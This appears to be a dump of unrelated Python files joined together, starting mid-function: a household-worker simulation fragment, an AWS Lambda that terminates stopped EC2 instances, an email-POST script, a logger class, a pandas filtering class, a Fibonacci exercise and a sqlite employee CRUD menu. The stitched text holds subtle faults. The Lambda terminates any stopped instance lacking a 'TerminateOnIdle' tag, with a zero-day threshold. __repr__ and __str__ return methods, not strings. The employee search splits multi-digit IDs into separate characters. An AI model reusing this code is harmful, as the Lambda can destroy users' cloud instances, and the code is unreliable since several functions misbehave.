                agent_set['workers'][hh] = searchsorted(six_cum_prob, r) + 3
        #When household with 7+ eligible workers is predicted to have 3+ workers, the household is randomly asssigned a number of workers no less than 3 and no greater than the number of persons eligible to work
        many_eligible_three_predicted = agent_set.compute_variables('_many_eligible_three_predicted = (_work_eligible>6)*((household.workers)==3)')
        idx_many_elig = where(logical_and(many_eligible_three_predicted,hh_to_init_workers))[0]
        if idx_many_elig.size > 0:
            for hh in idx_many_elig:
                agent_set['workers'][hh] = randint(3, ((agent_set['work_eligible'][hh])+1))
        if 'numworker_id' in agent_set.get_primary_attribute_names():
            agent_set.delete_one_attribute('numworker_id')
        agent_set.delete_one_attribute('work_eligible')


import boto3
import re
from datetime import datetime, timedelta
import os

def lambda_handler(event, context):

    TERMINATION_AGE = 0

    ec2_client = boto3.client('ec2', region_name='us-east-1')

    # Get a list of stopped instances
    instances = ec2_client.describe_instances(Filters=[{'Name': 'instance-state-name', 'Values': ['stopped']}])

    for reservation in instances['Reservations']:
        for instance in reservation['Instances']:

            # Check if instance has the required tag
            tags = instance.get('Tags', [])
            has_required_tag = False
            for tag in tags:
                if tag['Key'] == 'TerminateOnIdle':
                    has_required_tag = True
                    break

            # If instance does not have the tag, terminate it
            if not has_required_tag:
                # StateTransitionReason might be like "i-xxxxxxxx User initiated (2016-05-23 17:27:19 GMT)"
                reason = instance['StateTransitionReason']
                date_string = re.search('User initiated \(([\d-]*)', reason).group(1)
                if len(date_string) == 10:
                    date = datetime.strptime(date_string, '%Y-%m-%d')

                    # Terminate if older than TERMINATION_AGE
                    if (datetime.today() - date).days + 1 > TERMINATION_AGE:
                        ec2_client.terminate_instances(InstanceIds=[instance['InstanceId']])


#!/usr/bin/python3
"""POST an email #0"""

import urllib.request
import urllib.parse
import sys

if __name__ == "__main__":
    if len(sys.argv) != 3:
        sys.exit(1)

    url = sys.argv[1]
    email = sys.argv[2]

    data = urllib.parse.urlencode({'email': email}).encode('utf-8')

    with urllib.request.urlopen(url, data) as response:
        decode_response = response.read().decode('utf-8')
        print(decode_response)


import logging
import logging.config
import os

from typing import Union

class Reporter:

    def __init__(self,
                 logger: Union[logging.Logger, None] = None,
                 lvl: int = logging.INFO) -> None:

        """Reporter Class.

        Parameters
        ----------
        logger : logger or None
            The logger object to use.
        lvl : int
            Logging level to write to.
        """

        self.logger = logger or logging.getLogger(__name__)
        self.log_level = lvl
        self.log_path = os.path.join(os.getcwd(), 'report.log')

        self._setup_logger()

    def log(self,
            msg: str,
            lvl: int = logging.INFO) -> None:

        """Logs a message with a given level.

        Parameters
        ----------
        msg : str
            Message to log.
        lvl : int
            Level with which to log the message.
        """

        self.logger.log(lvl, msg)

    def _setup_logger(self) -> None:

        """Initialises the logger using the basic config."""

        logging.basicConfig(
            level=self.log_level,
            format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
            datefmt='%d/%m/%Y %H:%M:%S',
            filename=self.log_path,
            filemode='w'
        )


from typing import Tuple, List
import pandas as pd
import time
import re
import functools

class Processor:
    def __init__(self, dataframe: pd.DataFrame):
        self._df = dataframe

    def get(self):
        return self._df.copy()

    def __repr__(self) -> str:
        return self._df.__repr__

    def __str__(self) -> str:
        return self._df.__str__

    def keep_dtypes(self, keep_dt: List[str]):
        df = self._df.copy()

        keep_cols = []
        dtypes = df.dtypes

        for col in df.columns:
            if dtypes[col] in keep_dt:
                keep_cols.append(col)

        df = df[keep_cols]

        return Processor(df)

    def exclude_cols(self, exclude_cols: List[str]):
        df = self._df.copy()
        keep_cols = []

        for col in df.columns:
            keep = True
            for pattern in exclude_cols:
                if re.match(pattern, col):
                    keep = False
                    break
            if keep:
                keep_cols.append(col)

        df = df[keep_cols]

        return Processor(df)


# Jordan Callero
# Project Euler
# May 6, 2016

# This program will find the first fibonacci number with n digits

def nFib(n):
    fib1 = 1
    fib2 = 1
    fib3 = 2
    index = 3
    while(len(str(fib3)) < n):
        temp = fib2 + fib3
        fib1 = fib2
        fib2 = fib3
        fib3 = temp
        index += 1
    return index


import sqlite3
import pandas as pd

# Define DBOperation class to manage all data into the database.
# Give a name of your choice to the database
class DBOperations:
    sql_create_table_firsttime = "CREATE TABLE IF NOT EXISTS employee (" \
                                 "employee_id INTEGER PRIMARY KEY AUTOINCREMENT," \
                                 "Title VARCHAR(4) NOT NULL, " \
                                 "Forename VARCHAR(20) NOT NULL, " \
                                 "Surname VARCHAR(20) NOT NULL, " \
                                 "EmailAddress VARCHAR (255) NOT NULL, " \
                                 "Salary FLOAT(20) NOT NULL" \
                                 ")"

    sql_create_table = "CREATE TABLE IF NOT EXISTS employee (" \
                       "employee_id INTEGER PRIMARY KEY AUTOINCREMENT," \
                       "Title VARCHAR(4) NOT NULL, " \
                       "Forename VARCHAR(20) NOT NULL, " \
                       "Surname VARCHAR(20) NOT NULL, " \
                       "EmailAddress VARCHAR (255) NOT NULL, " \
                       "Salary FLOAT(20) NOT NULL" \
                       ")"

    sql_check_table_exists = "SELECT COUNT(*) " \
                             "FROM sqlite_master " \
                             "WHERE name = 'employee'"
    sql_insert = "INSERT INTO employee (Title, Forename, Surname, EmailAddress, Salary)" \
                 "VALUES(?, ?, ?, ?, ?);"
    sql_select_all = "SELECT * FROM employee"
    sql_search = "SELECT * " \
                 "FROM employee " \
                 "WHERE employee_id = ?;"
    sql_update_data = "UPDATE employee SET Title=?, Forename=?, Surname=?, EmailAddress=?, Salary=? WHERE employee_id=?"
    sql_delete_data = "DELETE FROM employee WHERE employee_id=?"
    sql_drop_table = "DROP TABLE employee"

    def __init__(self):
        try:
            self.conn = sqlite3.connect("abcDB")
            self.cur = self.conn.cursor()
            # self.cur.execute(self.sql_create_table_firsttime)
            self.conn.commit()
        except Exception as e:
            print(e)
        finally:
            self.conn.close()

    def get_connection(self):
        self.conn = sqlite3.connect("abcDB")
        self.cur = self.conn.cursor()

    def create_table(self):
        try:
            self.get_connection()
            self.cur.execute(self.sql_check_table_exists)
            if self.cur.fetchone()[0] == 1:
                print("Table employee already exists")
            else:
                self.cur.execute(self.sql_create_table)
                self.conn.commit()
                print("Table created successfully")
        except Exception as e:
            print(e)
        finally:
            self.conn.close()

    def drop_table(self):
        try:
            self.get_connection()
            self.cur.execute(self.sql_drop_table)
            self.conn.commit()
            print("Table dropped")
        except Exception as e:
            print(e)
        finally:
            self.conn.close()

    def insert_data(self):
        try:
            self.get_connection()

            emp = Employee()
            emp.set_employee_title(str(input("Enter Employee Title: ")))
            emp.set_forename(str(input("Enter Employee Forename: ")))
            emp.set_surname(str(input("Enter Employee Surname: ")))
            emp.set_email(str(input("Enter Employee Email: ")))
            emp.set_salary(float(input("Enter Employee Salary: ")))

            self.cur.execute(self.sql_insert, tuple(str(emp).split("\n")))
            self.conn.commit()
            print("Inserted data successfully")
        except Exception as e:
            print(e)
        finally:
            self.conn.close()

    def select_all(self):
        try:
            self.get_connection()
            data = pd.read_sql_query(self.sql_select_all, self.conn)
            if data.empty:
                print('Table employee is empty!')
            else:
                print(data.to_string(index=False))
            # think how you could develop this method to show the records
        except Exception as e:
            print(e)
        finally:
            self.conn.close()

    def search_data(self):
        try:
            self.get_connection()
            employee_id = int(input("Enter Employee ID: "))
            self.cur.execute(self.sql_search, tuple(str(employee_id)))
            result = self.cur.fetchone()
            if type(result) == type(tuple()):
                for index, detail in enumerate(result):
                    if index == 0:
                        print("Employee ID: " + str(detail))
                    elif index == 1:
                        print("Employee Title: " + detail)
                    elif index == 2:
                        print("Employee Name: " + detail)
                    elif index == 3:
                        print("Employee Surname: " + detail)
                    elif index == 4:
                        print("Employee Email: " + detail)
                    else:
                        print("Salary: " + str(detail))
            else:
                print("No Record")

        except Exception as e:
            print(e)
        finally:
            self.conn.close()

    def update_data(self):
        try:
            self.get_connection()
            # Update statement
            employee_id = int(input("Enter Employee ID: "))
            emp_title = str(input("Enter Employee's New Title: "))
            forename = str(input("Enter Employee's New Forename: "))
            surname = str(input("Enter Employee's New Surname: "))
            email_address = str(input("Enter Employee's New Email Address: "))
            salary = str(input("Enter Employee's New Salary: "))
            result = self.cur.execute(self.sql_update_data,
                                      [(str(emp_title)), (str(forename)), (str(surname)), (str(email_address)),
                                       (float(salary)), (str(employee_id)), ])
            if result.rowcount != 0:
                self.conn.commit()
                print(str(result.rowcount) + "Row(s) affected.")
            else:
                print("Cannot find this record in the database")

        except Exception as e:
            print(e)
        finally:
            self.conn.close()

    # Define Delete_data method to delete data from the table.
    # The user will need to input the employee id to delete the corrosponding record.
    def delete_data(self):
        try:
            self.get_connection()
            employee_id = int(input("Enter Employee ID: "))
            result = self.cur.execute(self.sql_delete_data, [str(employee_id, )])
            if result.rowcount != 0:
                self.conn.commit()
                print(str(result.rowcount) + "Row(s) affected.")
            else:
                print("Cannot find this record in the database")
        except Exception as e:
            print(e)
        finally:
            self.conn.close()

class Employee:

    def __init__(self):
        self.employee_id = 0
        self.empTitle = ''
        self.forename = ''
        self.surname = ''
        self.email = ''
        self.salary = 0.0

    def set_employee_id(self, employee_id):
        self.employee_id = employee_id

    def set_employee_title(self, emp_title):
        self.empTitle = emp_title

    def set_forename(self, forename):
        self.forename = forename

    def set_surname(self, surname):
        self.surname = surname

    def set_email(self, email):
        self.email = email

    def set_salary(self, salary):
        self.salary = salary

    def get_employee_id(self):
        return self.employee_id

    def get_employee_title(self):
        return self.empTitle

    def get_forename(self):
        return self.forename

    def get_surname(self):
        return self.surname

    def get_email(self):
        return self.email

    def get_salary(self):
        return self.salary

    def __str__(self):
        return self.empTitle + "\n" + self.forename + "\n" + self.surname + "\n" + self.email + "\n" + str(self.salary)

# The main function will parse arguments.
# These argument will be defined by the users on the console.
# The user will select a choice from the menu to interact with the database.

while True:
    print("\n Menu:")
    print("****************************************")
    print(" 1. Create table EmployeeUoB")
    print(" 2. Insert data into EmployeeUoB")
    print(" 3. Select all data into EmployeeUoB")
    print(" 4. Search an employee")
    print(" 5. Update data some records")
    print(" 6. Delete data some records")
    print(" 7. Drop table Employee")
    print(" 8. Exit\n")

    __choose_menu = int(input("Enter your choice: "))
    db_ops = DBOperations()
    if __choose_menu == 1:
        db_ops.create_table()
    elif __choose_menu == 2:
        db_ops.insert_data()
    elif __choose_menu == 3:
        db_ops.select_all()
    elif __choose_menu == 4:
        db_ops.search_data()
    elif __choose_menu == 5:
        db_ops.update_data()
    elif __choose_menu == 6:
        db_ops.delete_data()
    elif __choose_menu == 7:
        db_ops.drop_table()
    elif __choose_menu == 8:
        exit(0)
    else:
        print("Invalid Choice")